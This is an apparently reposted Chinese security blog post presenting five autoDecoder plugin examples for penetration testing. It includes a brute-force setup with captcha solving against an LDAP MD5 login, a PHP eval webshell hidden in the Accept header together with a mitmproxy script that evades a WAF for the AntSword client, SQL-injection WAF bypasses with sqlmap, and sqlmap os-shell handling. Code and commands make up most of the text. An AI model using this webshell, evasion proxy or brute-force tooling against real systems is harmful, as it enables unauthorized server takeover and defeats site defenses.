最近遇到了很多通过处理数据包方便测试、绕过防护的例子,记录一下
-
例1.ldap的md5加密-配合 autoDecoder
插件、captcha-killer-modified
插件爆破 -
例2.流量waf绕过 -
例3.sql注入绕过-sqlmap的数据包换行问题 -
例4.sqlmap的osshell遇到中文字符情况 -
例5.SM4加密
0x01 例子1
ldap的md5加密-配合autoDecoder
插件、captcha-killer-modified
插件爆破
需要传入的数据包为:
{"username":"admin","password":"{MD5}ISMvKXpXpadDiUoOSoAfww==","code":"YJIV"}
intruder
数据包设置如下:
{"username":"admin","password":"§1§","code":"§JOEJ§"}
intruder
设置如下:



由于我们只针对intruder
里的账号密码进行爆破,所以解密接口我们用不到,直接捕捉到数据包直接返回即可:
@app.route('/decode',methods=["POST"]) # 不解密
def decrypt():
param = request.form.get('data') # 获取 post 参数
return param
加密服务端代码如下:
# -*- coding:utf-8 -*-
# author:f0ngf0ng
# ldap的md5加密爆破
from flask import Flask,Response,request
from pyDes import *
import base64,hashlib,json
def hash_md5(data):
md = hashlib.md5()
md.update(str(data))
a = md.digest()
b = base64.b64encode(a)
return b
app = Flask(__name__)
@app.route('/encode',methods=["POST"])
def encrypt():
param = request.form.get('dataBody') # 获取 post 参数
data = json.loads(param)
print(data)
encry_param = param.replace( "password': '"+ data['password'],"password': '"+"{MD5}" + data['password']) # 密文替换明文,且添加{MD5}关键字
return encry_param
@app.route('/decode',methods=["POST"]) # 不解密
def decrypt():
param = request.form.get('dataBody') # 获取 post 参数
return param
if __name__ == '__main__':
app.debug = True # 设置调试模式,生产模式的时候要关掉debug
app.run(host="0.0.0.0",port="8888")
运行如下
python flask.py
autoDecoder
设置如下:

captcha-killer-modified
插件页面如下:

爆破如下:

0x02 例子2
流量waf绕过
碰到个thinkphp很硬的站点,php7的环境,拦截的很死,拦截<?php
,可以通过<? ?>
短标签绕过,拦截一些关键词eval
等函数,可以通过php伪协议写入进行绕过
这个waf还有个比较厉害的点,流量拦截,base64、rsa、aes等流量都会识别到直接reset
base64流量如下:

直接reset,没有状态码,包括其他rsa、aes也是直接reset
rsa流量如下:

直接reset,也没有状态码
后续尝试更换payload中的关键字,发现没办法绕过,这个waf还是比较智能的
中间想到了使用伪协议写大马进服务器,发现无法写入,可能请求包数据太大,想了想其他的方法
继续尝试绕过waf,这里把payload
更换位置,猜测waf只会识别数据包的请求体,而不会去看其他的请求头,把payload
放到请求头里,发现服务器可以得到请求,如下:
<?
@eval(base64_decode(($_POST['x'])));
?>
更改为:
<?
@eval(base64_decode(($_SERVER['HTTP_ACCEPT'];))); // 获取Accept的参数
?>
然后编写mitm脚本如下:
# -*- coding:utf-8 -*-
# author:f0ngf0ng
# @Date: 2022/4/9 下午9:30
# 将post的参数转移到Accept
# 配合webshell
'''
<? @eval(base64_decode(($_SERVER['HTTP_ACCEPT']))); ?>
'''
# 配合蚁剑的myencoder mydecoder 密码设置为x
from mitmproxy import http, ctx
from urllib.parse import unquote
class Mitm:
def request(self, flow):
if flow.request.host != "x.x.x.x" :
# ctx.log.info(flow.request.host)
return
ctx.log.info(f"payload为 {flow.request.text}")
payload = flow.request.text.split("x=")[1].split("&")[0] # payload参数
flow.request.headers.add("Accept",unquote(payload) )
flow.request.set_text(flow.request.text.replace("x=" + payload , ""))
ctx.log.info(f"发送的请求包 = {flow.request.text}")
addons = [
Mitm()
]
运行命令如下:
mitmweb -s mitm.py --listen-port 8082
蚁剑进行代理到本地
127.0.0.1:8082
点击测试连接,成功


命令执行如下:也可以编写
autoDecoder
的加解密脚本,如下:
# -*- coding:utf-8 -*-
# author:f0ngf0ng
from flask import Flask,Response,request
from pyDes import *
import base64
app = Flask(__name__)
@app.route('/encode',methods=["POST"])
def encrypt():
body = request.form.get('dataBody') # 获取 post 参数 必需
headers = request.form.get('dataHeaders') # 获取 post 参数 可选
body_accept = body.split("x=")[1].split("&")[0] # 获取payload
body = body.replace("x=" + body_accept,"")
if headers != None: # 开启了请求头加密
print(headers + "rnrnrnrn" + body)
headers = headers + "Accept:" + body_accept + "rn"
return headers + "rnrnrnrn" + body # 返回值为固定格式,不可更改
return body
@app.route('/decode',methods=["POST"]) # 不解密
def decrypt():
param = request.form.get('dataBody') # 获取 post 参数
return param
if __name__ == '__main__':
app.debug = True # 设置调试模式,生产模式的时候要关掉debug
app.run(host="0.0.0.0",port="8888")
0x03 例子3
sql注入绕过之sqlmap的数据包换行问题
碰到个SQL注入,但是网站有防护,如图:


可以通过change body encoding
来绕过waf

但是当我们放到sqlmap中跑注入,发现报500错误,后续可以通过autoDecoder来解决,详细如下:
数据包是Content-Type: multipart/form-data;
的注入

但是sqlmap不识别rn
的符号,所以无法跑出注入 使用sqlmap --proxy=http://127.0.0.1:8080
代理到burp查看请求


原因就在于n
符号,sqlmap不知道什么原因无法识别请求体的换行为rn
,导致请求全是500,报错了 http数据包里的换行应该为rn
,可以编写autoDecoder的flask脚本解决问题 flask脚本如下:
# -*- coding:utf-8 -*-
# author:f0ngf0ng
# 解决sqlmap中的n无法识别为rn问题
from flask import Flask,request
app = Flask(__name__)
@app.route('/encode',methods=["POST"])
def encrypt():
param = request.form.get('dataBody') # 获取 post 参数
param = param.replace("rn","n")
data = param.replace("n","rn")
print(bytes(data,encoding="utf-8"))
return data
@app.route('/decode',methods=["POST"]) # 不解密
def decrypt():
param = request.form.get('dataBody') # 获取 post 参数
return param
if __name__ == '__main__':
app.debug = True # 设置调试模式,生产模式的时候要关掉debug
app.run(host="0.0.0.0",port="8888")
autoDecoder
插件配置如下:

即可识别
数据库正常跑出:

0x04 例子4
sqlmap的osshell遇到中文字符情况
sqlmap的os-shell经常遇到会有中文字符的目录,我们如果要写webshell、查看路径可能会遇到一些阻碍,可以通过bitsadmin
、certutil
等等来进行下载文件,然后再存储之类的,这里也可以用autoDecoder
来进行处理,如下:
sqlmap
的结果:

直接是不行的,原因在于将中文进行了hex编码,导致mssql识别不出来 但是如果我们用burp
去重放,将hex编码直接替换为编码前的内容,是直接可以的:sqlmap
原数据包
手动修改为中文

获得结果
# -*- coding:utf-8 -*-
# author:f0ngf0ng
from flask import Flask,Response,request
from pyDes import *
import base64
import re,binascii
from urllib.parse import unquote,quote
# 解决sqlmap的中文问题
app = Flask(__name__)
@app.route('/encode',methods=["POST"])
def encrypt():
param = request.form.get('dataBody') # 获取 post 参数
print(param)
if "INSERT" in param:
try :
print(unquote(param))
b = re.findall("0x(.*?);", unquote(param) )
# print(b)
c = binascii.a2b_hex(b[0])
total_param = unquote(param).replace("0x" + b[0], "'" +c.decode() + "'").replace(" ","%20")
print(b[0])
print(c.decode())
except:
pass
return total_param
else :
return param
@app.route('/decode',methods=["POST"]) # 不解密
def decrypt():
param = request.form.get('dataBody') # 获取 post 参数
return param
if __name__ == '__main__':
app.debug = True # 设置调试模式,生产模式的时候要关掉debug
app.run(host="0.0.0.0",port="8888")
autoDecoder
配置如下:

sqlmap结果如下

0x05 例子5
SM4加密
有位师傅遇到了SM4加密,自己也没怎么研究过,所以看了一下,简单地用autoDecoder
实现一下JavaScript
代码如下:
//sm4转换
const stringToByte = function (str) {
var len, c
len = str.length
var bytes = []
for (var i = 0; i < len; i++) {
c = str.charCodeAt(i)
if (c >= 0x010000 && c <= 0x10FFFF) {
bytes.push(((c >> 18) & 0x07) | 0xF0)
bytes.push(((c >> 12) & 0x3F) | 0x80)
bytes.push(((c >> 6) & 0x3F) | 0x80)
bytes.push((c & 0x3F) | 0x80)
} else if (c >= 0x000800 && c <= 0x00FFFF) {
bytes.push(((c >> 12) & 0x0F) | 0xE0)
bytes.push(((c >> 6) & 0x3F) | 0x80)
bytes.push((c & 0x3F) | 0x80)
} else if (c >= 0x000080 && c <= 0x0007FF) {
bytes.push(((c >> 6) & 0x1F) | 0xC0)
bytes.push((c & 0x3F) | 0x80)
} else {
bytes.push(c & 0xFF)
}
}
return new Int8Array(bytes)
}
const sm4 = require('sm-crypto').sm4
const encryptData = '77327a37ff72f97ea72031861b20bbcd652284611571a0c06edfaeba4e405643' // 可以为 16 进制串或字节数组
const key = stringToByte("onlysecurityf0ng") // 可以为 16 进制串或字节数组,要求为 128 比特
let decryptData = sm4.decrypt(encryptData, key, {
output: 'array'
}) // 解密,默认输出 utf8 字符串,默认使用 pkcs#7 填充(传 pkcs#5 也会走 pkcs#7 填充)
decryptData = Buffer.from(decryptData)
decryptData = decryptData.toString('utf-8')
console.log(decryptData)
let Data = sm4.encrypt(decryptData,key)
console.log(Data)
运行代码:
{"f0ng":"onlysecurity"}
为明文,77327a37ff72f97ea72031861b20bbcd652284611571a0c06edfaeba4e405643
为密文
这里只是通过js实现了加解密,按照之前的经验,我们是通过flask进行加解密的,所以需要转换成python代码,这里用到了python的execjs
模块,代码如下:
# -*- coding:utf-8 -*-
# author:f0ngf0ng
# @Date: 2022/4/28 下午5:14
import execjs
ctx = execjs.compile("""
const sm4 = require('sm-crypto').sm4 //引入请求加密算法
//sm4转换
const stringToByte = function (str) {
var len, c len = str.length
var bytes = []
for (var i = 0;
i < len; i++) {
c = str.charCodeAt(i)
if (c >= 0x010000 && c <= 0x10FFFF) {
bytes.push(((c >> 18) & 0x07) | 0xF0)
bytes.push(((c >> 12) & 0x3F) | 0x80)
bytes.push(((c >> 6) & 0x3F) | 0x80)
bytes.push((c & 0x3F) | 0x80)
} else if (c >= 0x000800 && c <= 0x00FFFF) {
bytes.push(((c >> 12) & 0x0F) | 0xE0)
bytes.push(((c >> 6) & 0x3F) | 0x80)
bytes.push((c & 0x3F) | 0x80)
} else if (c >= 0x000080 && c <= 0x0007FF) {
bytes.push(((c >> 6) & 0x1F) | 0xC0)
bytes.push((c & 0x3F) | 0x80)
} else {
bytes.push(c & 0xFF)
}
}
return new Int8Array(bytes)
}
const decrypt = function ( str) {
let key = 'onlysecurityf0ng'
let decryptData = sm4.decrypt(str, stringToByte(key), {
output: 'array' })
decryptData = Buffer.from(decryptData)
decryptData = decryptData.toString('utf-8')
return decryptData}
const encrypt = function ( str) {
let key = 'onlysecurityf0ng'
let arrayData = JSON.stringify(str)
let encryptData = sm4.encrypt(arrayData, stringToByte(key))
return encryptData}
""")
print(ctx.call("decrypt" ,"77327a37ff72f97ea72031861b20bbcd652284611571a0c06edfaeba4e405643"))
print(ctx.call("encrypt",{"f0ng":"onlysecurity"}))

这里就简单做好了,但是转念一想,autoDecoder
是适配各种各样的api接口的,那不如就用node写一个http请求进行加解密的接口
说干就干,直接上代码,nodejs服务代码如下:
var http = require('http');
const url = require('url');
const querystring = require('querystring');
//sm4转换
const stringToByte = function (str) {
var len, c
len = str.length
var bytes = []
for (var i = 0; i < len; i++) {
c = str.charCodeAt(i)
if (c >= 0x010000 && c <= 0x10FFFF) {
bytes.push(((c >> 18) & 0x07) | 0xF0)
bytes.push(((c >> 12) & 0x3F) | 0x80)
bytes.push(((c >> 6) & 0x3F) | 0x80)
bytes.push((c & 0x3F) | 0x80)
} else if (c >= 0x000800 && c <= 0x00FFFF) {
bytes.push(((c >> 12) & 0x0F) | 0xE0)
bytes.push(((c >> 6) & 0x3F) | 0x80)
bytes.push((c & 0x3F) | 0x80)
} else if (c >= 0x000080 && c <= 0x0007FF) {
bytes.push(((c >> 6) & 0x1F) | 0xC0)
bytes.push((c & 0x3F) | 0x80)
} else {
bytes.push(c & 0xFF)
}
}
return new Int8Array(bytes)
}
const sm4 = require('sm-crypto').sm4
const key = stringToByte("onlysecurityf0ng") // 可以为 16 进制串或字节数组,要求为 128 比特
http.createServer(function (req, res) {
let path = url.parse(req.url);
let postparms = '';
if (path.pathname === '/encode') {
console.log("encode路由");
req.on('data', (parms) => {
postparms += parms;
})
req.on('end', () => {
postparms = querystring.parse(postparms);
console.log(postparms)
let dataBody = postparms.dataBody;
let Data = sm4.encrypt(dataBody,key)
console.log(Data)
res.end(Data);
})
} else if (path.pathname === '/decode') {
console.log("decode路由")
req.on('data', (parms) => {
postparms += parms;
})
req.on('end', () => {
postparms = querystring.parse(postparms);
console.log(postparms)
let dataBody = postparms.dataBody;
const encryptData = dataBody
let decryptData = sm4.decrypt(encryptData, key, {
output: 'array'
}) // 解密,默认输出 utf8 字符串,默认使用 pkcs#7 填充(传 pkcs#5 也会走 pkcs#7 填充)
decryptData = Buffer.from(decryptData)
decryptData = decryptData.toString('utf-8')
console.log(decryptData);
res.end( decryptData );
})
} else{
res.write("end");
res.end()
}
}).listen(8888);
autoDecoder
配置如下

原始请求如下:

当请求为明文:

nodejs服务端日志:

0x06 项目地址
https://github.com/f0ng/autoDecoder
https://github.com/f0ng/captcha-killer-modified
原文始发于微信公众号(only security):autoDecoder例子五则
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/204202.html